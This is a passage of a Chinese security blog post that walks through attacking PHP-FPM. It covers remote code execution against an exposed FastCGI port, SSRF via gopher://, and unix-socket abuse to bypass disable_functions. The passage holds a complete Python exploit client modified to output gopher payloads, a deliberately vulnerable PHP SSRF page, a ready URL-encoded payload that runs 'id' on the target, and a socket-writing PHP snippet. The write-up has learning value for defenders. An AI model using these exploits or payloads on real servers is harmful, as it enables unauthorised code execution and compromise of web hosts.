            record += chr(vLen)
        else:
            record += chr((vLen >> 24) | 0x80) \
                      + chr((vLen >> 16) & 0xFF) \
                      + chr((vLen >> 8) & 0xFF) \
                      + chr(vLen & 0xFF)
        return record + str(name) + str(value)

这段代码对应上面参数的处理

其实关于如何写出各种协议的数据包的方法,如何构造链接,其实我也不是很明白,目前自己在探索的思路也就是通过查看nginx的源码,跟踪下它的发包流程来解析,后面我会继续尝试去分析清楚发包流程,如果有师傅能与我交流下这方面的技巧,深表感激。

0x6 演示攻击流程

0x6.1 远程攻击tcp模式的php-fpm

这个场景是有些管理员为了方便吧,把fastcgi监听端口设置为: listen = 0.0.0.0:9000而不是listen = 127.0.0.1:9000 这样子可以导致远程代码执行。

这里利用p牛的利用脚本:

fpm.py兼容py3和py2

python命令:

python fpm.py -c '<?php echoid;exit;?>' 10.211.55.21 /var/www/html/phpinfo.php

默认9000端口:

python fpm.py -c '<?php echoid;exit;?>' -p 9000 10.211.55.21 /var/www/html/phpinfo.php

0x6.2 SSRF攻击本地的php-fpm(tcp模式)

看了网上一些文章说: PHP-FPM版本 >= 5.3.3

其实是因为php5.3.3之后绑定了php-fpm,然后自己配置是否启动就行了,这个条件没什么很大关系。

即使配置正确,我们依然可以通过结合其他漏洞比如ssrf来攻击本地的php-fpm服务。

这里简单谈下Gopher://协议

URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流

说明gopher协议可以直接发送tcp协议流,那么我们就可以把数据流 urlencode编码构造ssrf攻击代码了

关于怎么修改其实也很简单,看我下面代码注释: (下面脚本兼容python2 and python3)

#!/usr/bin/python
# -*- coding:utf-8 -*-

import socket
import random
import argparse
import sys
from io import BytesIO
from six.moves.urllib import parse as urlparse

# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client

PY2 = True if sys.version_info.major == 2 else False


def bchr(i):
    if PY2:
        return force_bytes(chr(i))
    else:
        return bytes([i])

def bord(c):
    if isinstance(c, int):
        return c
    else:
        return ord(c)

def force_bytes(s):
    if isinstance(s, bytes):
        return s
    else:
        return s.encode('utf-8', 'strict')

def force_text(s):
    if issubclass(type(s), str):
        return s
    if isinstance(s, bytes):
        s = str(s, 'utf-8', 'strict')
    else:
        s = str(s)
    return s


class FastCGIClient:
    """A Fast-CGI Client for Python"""

    # private
    __FCGI_VERSION = 1

    __FCGI_ROLE_RESPONDER = 1
    __FCGI_ROLE_AUTHORIZER = 2
    __FCGI_ROLE_FILTER = 3

    __FCGI_TYPE_BEGIN = 1
    __FCGI_TYPE_ABORT = 2
    __FCGI_TYPE_END = 3
    __FCGI_TYPE_PARAMS = 4
    __FCGI_TYPE_STDIN = 5
    __FCGI_TYPE_STDOUT = 6
    __FCGI_TYPE_STDERR = 7
    __FCGI_TYPE_DATA = 8
    __FCGI_TYPE_GETVALUES = 9
    __FCGI_TYPE_GETVALUES_RESULT = 10
    __FCGI_TYPE_UNKOWNTYPE = 11

    __FCGI_HEADER_SIZE = 8

    # request state
    FCGI_STATE_SEND = 1
    FCGI_STATE_ERROR = 2
    FCGI_STATE_SUCCESS = 3

    def __init__(self, host, port, timeout, keepalive):
        self.host = host
        self.port = port
        self.timeout = timeout
        if keepalive:
            self.keepalive = 1
        else:
            self.keepalive = 0
        self.sock = None
        self.requests = dict()

    def __connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(self.timeout)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        # if self.keepalive:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
        # else:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
        try:
            self.sock.connect((self.host, int(self.port)))
        except socket.error as msg:
            self.sock.close()
            self.sock = None
            print(repr(msg))
            return False
        #return True

    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
        length = len(content)
        buf = bchr(FastCGIClient.__FCGI_VERSION) \
               + bchr(fcgi_type) \
               + bchr((requestid >> 8) & 0xFF) \
               + bchr(requestid & 0xFF) \
               + bchr((length >> 8) & 0xFF) \
               + bchr(length & 0xFF) \
               + bchr(0) \
               + bchr(0) \
               + content
        return buf

    def __encodeNameValueParams(self, name, value):
        nLen = len(name)
        vLen = len(value)
        record = b''
        if nLen < 128:
            record += bchr(nLen)
        else:
            record += bchr((nLen >> 24) | 0x80) \
                      + bchr((nLen >> 16) & 0xFF) \
                      + bchr((nLen >> 8) & 0xFF) \
                      + bchr(nLen & 0xFF)
        if vLen < 128:
            record += bchr(vLen)
        else:
            record += bchr((vLen >> 24) | 0x80) \
                      + bchr((vLen >> 16) & 0xFF) \
                      + bchr((vLen >> 8) & 0xFF) \
                      + bchr(vLen & 0xFF)
        return record + name + value

    def __decodeFastCGIHeader(self, stream):
        header = dict()
        header['version'] = bord(stream[0])
        header['type'] = bord(stream[1])
        header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
        header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
        header['paddingLength'] = bord(stream[6])
        header['reserved'] = bord(stream[7])
        return header

    def __decodeFastCGIRecord(self, buffer):
        header = buffer.read(int(self.__FCGI_HEADER_SIZE))

        if not header:
            return False
        else:
            record = self.__decodeFastCGIHeader(header)
            record['content'] = b''

            if 'contentLength' in record.keys():
                contentLength = int(record['contentLength'])
                record['content'] += buffer.read(contentLength)
            if 'paddingLength' in record.keys():
                skiped = buffer.read(int(record['paddingLength']))
            return record

    def request(self, nameValuePairs={}, post=''):
        if not self.__connect():
            print('connect failure! please check your fasctcgi-server !!')
            return

        requestId = random.randint(1, (1 << 16) - 1)
        self.requests[requestId] = dict()
        request = b""
        beginFCGIRecordContent = bchr(0) \
                                 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
                                 + bchr(self.keepalive) \
                                 + bchr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
        paramsRecord = b''
        if nameValuePairs:
            for (name, value) in nameValuePairs.items():
                name = force_bytes(name)
                value = force_bytes(value)
                paramsRecord += self.__encodeNameValueParams(name, value)

        if paramsRecord:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)

        if post:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)

        # 前面都是构造的tcp数据包,下面是发送,所以我们可以直接注释掉下面内容,然后返回request
        #self.sock.send(request)
        #self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
        #self.requests[requestId]['response'] = ''
        #return self.__waitForResponse(requestId)
        return request

    def __waitForResponse(self, requestId):
        data = b''
        while True:
            buf = self.sock.recv(512)
            if not len(buf):
                break
            data += buf

        data = BytesIO(data)
        while True:
            response = self.__decodeFastCGIRecord(data)
            if not response:
                break
            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
                    or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                    self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
                if requestId == int(response['requestId']):
                    self.requests[requestId]['response'] += response['content']
            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
                self.requests[requestId]
        return self.requests[requestId]['response']

    def __repr__(self):
        return "fastcgi connect host:{} port:{}".format(self.host, self.port)


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
    parser.add_argument('host', help='Target host, such as 127.0.0.1')
    parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
    parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
    parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)

    args = parser.parse_args()

    client = FastCGIClient(args.host, args.port, 3, 0)
    params = dict()
    documentRoot = "/"
    uri = args.file
    content = args.code
    params = {
        'GATEWAY_INTERFACE': 'FastCGI/1.0',
        'REQUEST_METHOD': 'POST',
        'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
        'SCRIPT_NAME': uri,
        'QUERY_STRING': '',
        'REQUEST_URI': uri,
        'DOCUMENT_ROOT': documentRoot,
        'SERVER_SOFTWARE': 'php/fcgiclient',
        'REMOTE_ADDR': '127.0.0.1',
        'REMOTE_PORT': '9985',
        'SERVER_ADDR': '127.0.0.1',
        'SERVER_PORT': '80',
        'SERVER_NAME': "localhost",
        'SERVER_PROTOCOL': 'HTTP/1.1',
        'CONTENT_TYPE': 'application/text',
        'CONTENT_LENGTH': "%d" % len(content),
        'PHP_VALUE': 'auto_prepend_file = php://input',
        'PHP_ADMIN_VALUE': 'allow_url_include = On'
    }
    # 这里调用request,然后返回tcp数据流,所以修改这里url编码一下就好了
    #response = client.request(params, content)
    #print(force_text(response))
    request_ssrf = urlparse.quote(client.request(params, content))
    print("gopher://127.0.0.1:" + str(args.port) + "/_" + request_ssrf)

给出ssrf的测试代码如下:

<?php
function curl($url){
                $ch = curl_init();
                curl_setopt($ch, CURLOPT_URL, $url);
                curl_setopt($ch, CURLOPT_HEADER, 0); 
                curl_exec($ch);
                curl_close($ch); 
}
$url = $_GET['url'];
curl($url);
?>

安装下curl扩展:

sudo apt-get install php7.3-curl

然后在

/etc/php/7.3/fpm/php.ini

去掉 ;extension=curl前面的分号,重启php-fpm即可

然后生成payload直接打就可以了。

http://10.211.55.21/ssrf1.php?url=gopher://127.0.0.1:9000/_%01%01%A7L%00%08%00%00%00%01%00%00%00%00%00%00%01%04%A7L%01%D8%00%00%0E%02CONTENT_LENGTH23%0C%10CONTENT_TYPEapplication/text%0B%04REMOTE_PORT9985%0B%09SERVER_NAMElocalhost%11%0BGATEWAY_INTERFACEFastCGI/1.0%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0F%16SCRIPT_FILENAME/var/www/html/test.php%0B%16SCRIPT_NAME/var/www/html/test.php%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0E%04REQUEST_METHODPOST%0B%02SERVER_PORT80%0F%08SERVER_PROTOCOLHTTP/1.1%0C%00QUERY_STRING%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%0D%01DOCUMENT_ROOT/%0B%09SERVER_ADDR127.0.0.1%0B%16REQUEST_URI/var/www/html/test.php%01%04%A7L%00%00%00%00%01%05%A7L%00%17%00%00%3C%3Fphp%20echo%20%60id%60%3Bexit%3B%3F%3E%01%05%A7L%00%00%00%00

这里需要在urlencode编码一次,因为这里nginx解码一次,php-fpm解码一次。

ok,成功实现了代码执行。

这里还可以介绍一个ssrf的利用工具的用法: Gopherus

1.python gopherus.py --exploit fastcgi

2.

然后同上进行利用就好了

0x6.3 攻击unix套接字模式下的php-fpm

前面已经说过了unix类似不同进程通过读取和写入/run/php/php7.3-fpm.sock来进行通信

所以必须在同一环境下,通过读取/run/php/php7.3-fpm.sock来进行通信,所以这个没办法远程攻击。

这个利用可以参考*CTF echohub攻击没有限制的php-fpm来绕过disable_function

攻击流程:

<?php $sock=stream_socket_client('unix:///run/php/php7.3-fpm.sock');
fputs($sock, base64_decode($_POST['A']));
var_dump(fread($sock, 4096));?>

这个原理也很简单就是通过php stream_socket_client建立一个unix socket连接,然后写入tcp流进行通信。

那么这个可不可以进行ssrf攻击呢 答案是否定的,因为他没有经过网络协议层,而ssrf能利用的就是网络协议,具体可以看我上面介绍unix 套接字原理。

当然不排除有些ssrf他也是利用unix套接字建立连接的,如果引用的是php-fpm监听的那个sock文件,那也是可以攻击的,但是这种情况很特殊,基本没有这种写法,欢迎师傅有其他想法跟我交流下。

0x7 总结

 这篇文章前前后后写了挺久的,感觉有些内容讲的和理解的还不是很深刻,这篇文章出发点还是为了更好的简单了解下php-fpm的攻击方式,后面我会针对这篇文章遗留下来的问题,再深入研究和学习下。

0x8 参考链接

Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写

PHP 连接方式&攻击PHP-FPM&*CTF echohub WP

Nginx+Php-fpm 运行原理详解

Ubuntu下Nginx+PHP7-fpm的配置

nginx 和 php-fpm 通信使用unix socket还是TCP,及其配置

PHP 进阶之路 - 深入理解 FastCGI 协议以及在 PHP 中的实现

FastCGI协议详解及代码实现

PHP基础之fastcgi协议

PHP FastCGI 的远程利用

Nginx源码研究FastCGI模块详解总结篇

【Nginx源码研究】Tcpdump抓包Nginx中FastCGI协议实战

关键词:[‘安全技术’, ‘WEB安全’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now